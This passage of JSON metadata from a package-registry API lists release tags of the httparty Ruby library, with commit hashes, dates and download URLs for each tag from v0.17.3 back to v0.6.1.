0.17.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.17.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.17.3/manifests"},{"name":"v0","sha":"689e64bb2db0ad454b89519ecd5e2fcfee74c90c","kind":"commit","published_at":"2019-12-16T14:40:57.000Z","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/v0","html_url":"https://github.com/jnunemaker/httparty/releases/tag/v0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jnunemaker/httparty@v0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0/manifests"},{"name":"v0.17.2","sha":"aec466f984fc178257efffcc922c0c559baea5ae","kind":"commit","published_at":"2019-12-16T11:30:36.000Z","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/v0.17.2","html_url":"https://github.com/jnunemaker/httparty/releases/tag/v0.17.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jnunemaker/httparty@v0.17.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.17.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.17.2/manifests"},{"name":"v0.17.1","sha":"47c8b2529b999e74bdc5fa80537dfe96276deec2","kind":"commit","published_at":"2019-08-30T16:11:48.000Z","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/v0.17.1","html_url":"https://github.com/jnunemaker/httparty/releases/tag/v0.17.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jnunemaker/httparty@v0.17.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.17.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.17.1/manifests"},{"name":"v0.17.0","sha":"b4099defba01231d2faaaa2660476f867e096bfb","kind":"commit","published_at":"2019-04-20T14:07:45.000Z","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/v0.17.0","html_url":"https://github.com/jnunemaker/httparty/releases/tag/v0.17.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jnunemaker/httparty@v0.17.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.17.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.17.0/manifests"},{"name":"v0.16.4","sha":"7b2ad805a5bcc80dc4b06b542dd6de161e5cd95b","kind":"commit","published_at":"2019-02-05T15:39:33.000Z","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/v0.16.4","html_url":"https://github.com/jnunemaker/httparty/releases/tag/v0.16.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jnunemaker/httparty@v0.16.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.16.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.16.4/manifests"},{"name":"v0.16.2","sha":"da1b1ad1d67be214b0e7a587edf84a4bc5a5e793","kind":"commit","published_at":"2018-03-30T13:54:32.000Z","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/v0.16.2","html_url":"https://github.com/jnunemaker/httparty/releases/tag/v0.16.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jnunemaker/httparty@v0.16.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.16.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.16.2/manifests"},{"name":"v0.16.1","sha":"1a52a134c4aeef77668e56cbcf646d266d798389","kind":"commit","published_at":"2018-03-12T14:45:10.000Z","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/v0.16.1","html_url":"https://github.com/jnunemaker/httparty/releases/tag/v0.16.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jnunemaker/httparty@v0.16.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.16.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.16.1/manifests"},{"name":"v0.16.0","sha":"8f6c6a6b95b5b404c82415663ee47ccc890ba9c9","kind":"commit","published_at":"2018-02-13T02:01:36.000Z","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/v0.16.0","html_url":"https://github.com/jnunemaker/httparty/releases/tag/v0.16.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jnunemaker/httparty@v0.16.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.16.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.16.0/manifests"},{"name":"v0.15.7","sha":"2b0a21bccce29c57142af1958b375d0fe2ccd176","kind":"commit","published_at":"2018-02-07T15:57:23.000Z","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/v0.15.7","html_url":"https://github.com/jnunemaker/httparty/releases/tag/v0.15.7","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jnunemaker/httparty@v0.15.7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.15.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.15.7/manifests"},{"name":"v0.15.6","sha":"5b7797b2827610ef35c7f4ce72d144b1748f0ee8","kind":"commit","published_at":"2017-07-21T20:15:36.000Z","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/v0.15.6","html_url":"https://github.com/jnunemaker/httparty/releases/tag/v0.15.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jnunemaker/httparty@v0.15.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.15.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.15.6/manifests"},{"name":"v0.15.5","sha":"7b5147c6885222af6b58ef6fa7c90ff4bb8b91f6","kind":"commit","published_at":"2017-05-19T02:01:50.000Z","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/v0.15.5","html_url":"https://github.com/jnunemaker/httparty/releases/tag/v0.15.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jnunemaker/httparty@v0.15.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.15.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.15.5/manifests"},{"name":"v0.15.4","sha":"6406421ac3e0252482afcdf22e652bf5bea754fb","kind":"commit","published_at":"2017-05-17T18:59:35.000Z","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/v0.15.4","html_url":"https://github.com/jnunemaker/httparty/releases/tag/v0.15.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jnunemaker/httparty@v0.15.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.15.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.15.4/manifests"},{"name":"v0.15.3","sha":"1c9b41140c72aa92b5c0f8792ee95f9ee0b142eb","kind":"commit","published_at":"2017-05-16T13:24:21.000Z","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/v0.15.3","html_url":"https://github.com/jnunemaker/httparty/releases/tag/v0.15.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jnunemaker/httparty@v0.15.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.15.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.15.3/manifests"},{"name":"v0.15.2","sha":"e9f4624c1172120bbd39ddc636620a24fc9386b1","kind":"commit","published_at":"2017-05-12T18:53:21.000Z","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/v0.15.2","html_url":"https://github.com/jnunemaker/httparty/releases/tag/v0.15.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jnunemaker/httparty@v0.15.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.15.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.15.2/manifests"},{"name":"v0.15.1","sha":"9d4a91fe62b4184baadc2a5fe77a07417653e23c","kind":"commit","published_at":"2017-05-12T13:12:26.000Z","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/v0.15.1","html_url":"https://github.com/jnunemaker/httparty/releases/tag/v0.15.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jnunemaker/httparty@v0.15.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.15.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.15.1/manifests"},{"name":"v0.15.0","sha":"562e8ee20e7c256fb26ebd2b1eeb4751cb2abeb8","kind":"commit","published_at":"2017-05-11T14:43:18.000Z","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/v0.15.0","html_url":"https://github.com/jnunemaker/httparty/releases/tag/v0.15.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jnunemaker/httparty@v0.15.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.15.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.15.0/manifests"},{"name":"v0.14.0","sha":"f4a3e84f36eb8f33b76b9b3ae4739887ab87f495","kind":"commit","published_at":"2016-07-25T14:18:39.000Z","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/v0.14.0","html_url":"https://github.com/jnunemaker/httparty/releases/tag/v0.14.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jnunemaker/httparty@v0.14.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.14.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.14.0/manifests"},{"name":"v0.13.7","sha":"9d3dbc3852b294173d0d8309e59051491bf7d048","kind":"commit","published_at":"2015-09-23T12:08:40.000Z","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/v0.13.7","html_url":"https://github.com/jnunemaker/httparty/releases/tag/v0.13.7","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jnunemaker/httparty@v0.13.7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.13.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.13.7/manifests"},{"name":"v0.13.6","sha":"5b6f22d2d87419ea862107e9e7947e71b912869a","kind":"commit","published_at":"2015-09-21T01:24:30.000Z","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/v0.13.6","html_url":"https://github.com/jnunemaker/httparty/releases/tag/v0.13.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jnunemaker/httparty@v0.13.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.13.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.13.6/manifests"},{"name":"v0.13.5","sha":"38ca4cf2e63d70df49575ceb0f3f669fbafd7739","kind":"commit","published_at":"2015-05-19T16:46:13.000Z","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/v0.13.5","html_url":"https://github.com/jnunemaker/httparty/releases/tag/v0.13.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jnunemaker/httparty@v0.13.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.13.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.13.5/manifests"},{"name":"v0.13.4","sha":"923eadd1ba94ceb614f5edd45d9a3c0d353e5f21","kind":"commit","published_at":"2015-05-13T15:33:05.000Z","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/v0.13.4","html_url":"https://github.com/jnunemaker/httparty/releases/tag/v0.13.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jnunemaker/httparty@v0.13.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.13.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.13.4/manifests"},{"name":"v0.13.3","sha":"107e69a6d1c8ceeb74e2e0a8b70f7b2bdbbd4a7a","kind":"commit","published_at":"2014-11-06T20:01:10.000Z","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/v0.13.3","html_url":"https://github.com/jnunemaker/httparty/releases/tag/v0.13.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jnunemaker/httparty@v0.13.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.13.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.13.3/manifests"},{"name":"v0.13.2","sha":"4679c8314dcace10ed4b912b0a522d14bb05d21d","kind":"commit","published_at":"2014-11-03T15:17:44.000Z","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/v0.13.2","html_url":"https://github.com/jnunemaker/httparty/releases/tag/v0.13.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jnunemaker/httparty@v0.13.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.13.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.13.2/manifests"},{"name":"v0.13.1","sha":"a570e54dd32e7c1ea16b072d0e10f552086ddbdb","kind":"commit","published_at":"2014-04-08T14:54:58.000Z","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/v0.13.1","html_url":"https://github.com/jnunemaker/httparty/releases/tag/v0.13.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jnunemaker/httparty@v0.13.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.13.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.13.1/manifests"},{"name":"v0.13.0","sha":"3c01a60af29ae6efd9347df23a5866a87488aa14","kind":"commit","published_at":"2014-02-14T18:50:16.000Z","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/v0.13.0","html_url":"https://github.com/jnunemaker/httparty/releases/tag/v0.13.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jnunemaker/httparty@v0.13.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.13.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.13.0/manifests"},{"name":"v0.12.0","sha":"7feb0287a0adae1676f4c6abc06414bae05f8b9b","kind":"commit","published_at":"2013-10-10T15:34:40.000Z","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/v0.12.0","html_url":"https://github.com/jnunemaker/httparty/releases/tag/v0.12.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jnunemaker/httparty@v0.12.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.12.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.12.0/manifests"},{"name":"v0.11.0","sha":"1fde99ba8aa43372726804e5fe87d8b459baf59b","kind":"tag","published_at":"2013-04-10T13:43:57.000Z","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/v0.11.0","html_url":"https://github.com/jnunemaker/httparty/releases/tag/v0.11.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jnunemaker/httparty@v0.11.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.11.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.11.0/manifests"},{"name":"v0.10.2","sha":"a320025dbc89e9c572603a47e9e228cbfa285a14","kind":"tag","published_at":"2013-01-27T01:32:34.000Z","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/v0.10.2","html_url":"https://github.com/jnunemaker/httparty/releases/tag/v0.10.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jnunemaker/httparty@v0.10.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.10.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.10.2/manifests"},{"name":"v0.10.1","sha":"0f04ba868c92e932f6ad4a64825a95a9819063a3","kind":"tag","published_at":"2013-01-26T16:38:32.000Z","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/v0.10.1","html_url":"https://github.com/jnunemaker/httparty/releases/tag/v0.10.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jnunemaker/httparty@v0.10.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.10.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.10.1/manifests"},{"name":"v0.10.0","sha":"3e2ec2bda1f948fbb1e4ffbf531c9ebbbff00795","kind":"tag","published_at":"2013-01-10T20:52:23.000Z","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/v0.10.0","html_url":"https://github.com/jnunemaker/httparty/releases/tag/v0.10.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jnunemaker/httparty@v0.10.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.10.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.10.0/manifests"},{"name":"v0.9.0","sha":"d392c2d1cb4ca4413e28a7ef55dcede1fccd2dc6","kind":"tag","published_at":"2012-09-07T18:03:44.000Z","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/v0.9.0","html_url":"https://github.com/jnunemaker/httparty/releases/tag/v0.9.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jnunemaker/httparty@v0.9.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.9.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.9.0/manifests"},{"name":"v0.8.3","sha":"1d6e2fa72a51288b3d53850cb1a1ebd60f47d9a3","kind":"tag","published_at":"2012-04-22T03:09:34.000Z","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/v0.8.3","html_url":"https://github.com/jnunemaker/httparty/releases/tag/v0.8.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jnunemaker/httparty@v0.8.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.8.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.8.3/manifests"},{"name":"v0.8.2","sha":"d0ed57ea578655a3783df3732c3f349497fcc1f3","kind":"tag","published_at":"2012-04-12T17:06:11.000Z","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/v0.8.2","html_url":"https://github.com/jnunemaker/httparty/releases/tag/v0.8.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jnunemaker/httparty@v0.8.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.8.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.8.2/manifests"},{"name":"v0.8.1","sha":"76a9f1b45b4a11f12dd7d99d6497ca381a5607e5","kind":"tag","published_at":"2011-10-05T15:28:32.000Z","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/v0.8.1","html_url":"https://github.com/jnunemaker/httparty/releases/tag/v0.8.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jnunemaker/httparty@v0.8.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.8.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.8.1/manifests"},{"name":"v0.8.0","sha":"ebbd0cb9438547a2ad5cf998b63b234004dd5be6","kind":"tag","published_at":"2011-09-13T16:35:05.000Z","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/v0.8.0","html_url":"https://github.com/jnunemaker/httparty/releases/tag/v0.8.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jnunemaker/httparty@v0.8.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.8.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.8.0/manifests"},{"name":"v0.7.8","sha":"68c254f9c1d90430ec7da25e941625ba9e989799","kind":"tag","published_at":"2011-06-07T01:38:12.000Z","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/v0.7.8","html_url":"https://github.com/jnunemaker/httparty/releases/tag/v0.7.8","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jnunemaker/httparty@v0.7.8","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.7.8","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.7.8/manifests"},{"name":"v0.7.7","sha":"2d4c1bd34bd86dccf36616ea7540916a8adc1a09","kind":"tag","published_at":"2011-04-20T21:55:02.000Z","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/v0.7.7","html_url":"https://github.com/jnunemaker/httparty/releases/tag/v0.7.7","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jnunemaker/httparty@v0.7.7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.7.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.7.7/manifests"},{"name":"v0.7.6","sha":"d7e3079c597209d9870d329baa13cb74d73deb68","kind":"tag","published_at":"2011-04-16T18:45:18.000Z","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/v0.7.6","html_url":"https://github.com/jnunemaker/httparty/releases/tag/v0.7.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jnunemaker/httparty@v0.7.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.7.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.7.6/manifests"},{"name":"v0.7.5","sha":"3ffad3570374014953fc5e36b528c8f838b78951","kind":"commit","published_at":"2011-04-15T22:32:09.000Z","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/v0.7.5","html_url":"https://github.com/jnunemaker/httparty/releases/tag/v0.7.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jnunemaker/httparty@v0.7.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.7.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.7.5/manifests"},{"name":"v0.7.4","sha":"00a7ec9ce55a8e1aeeea2fde7d16c59821266122","kind":"commit","published_at":"2011-02-13T20:20:48.000Z","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/v0.7.4","html_url":"https://github.com/jnunemaker/httparty/releases/tag/v0.7.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jnunemaker/httparty@v0.7.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.7.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.7.4/manifests"},{"name":"v0.7.3","sha":"d5b023c9054aaa308e012adb1220f8d1d065cdb9","kind":"commit","published_at":"2011-01-20T17:33:06.000Z","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/v0.7.3","html_url":"https://github.com/jnunemaker/httparty/releases/tag/v0.7.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jnunemaker/httparty@v0.7.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.7.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.7.3/manifests"},{"name":"v0.7.2","sha":"802a4edddd70b898580ee12bec79a4459214a5fd","kind":"commit","published_at":"2011-01-20T06:41:37.000Z","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/v0.7.2","html_url":"https://github.com/jnunemaker/httparty/releases/tag/v0.7.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jnunemaker/httparty@v0.7.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.7.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.7.2/manifests"},{"name":"v0.7.1","sha":"6946ecb4914bf65b685a0fd6bd4a122f1b2a4c01","kind":"commit","published_at":"2011-01-19T21:54:16.000Z","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/v0.7.1","html_url":"https://github.com/jnunemaker/httparty/releases/tag/v0.7.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jnunemaker/httparty@v0.7.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.7.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.7.1/manifests"},{"name":"v0.7.0","sha":"f52142ffc5867ce42bf3048315959d84e7639d64","kind":"commit","published_at":"2011-01-18T22:05:49.000Z","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/v0.7.0","html_url":"https://github.com/jnunemaker/httparty/releases/tag/v0.7.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jnunemaker/httparty@v0.7.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.7.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.7.0/manifests"},{"name":"v0.6.1","sha":"24892b873f88e16d86dca2dd5a96fcf4dacfcc77","kind":"commit","published_at":"2010-07-07T20:14:54.000Z","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/v0.6.1","html_url":"https://github.com/jnunemaker/httparty/releases/tag/v0.6.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jnunemaker/httparty@v0.6.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.6.1","manifests_u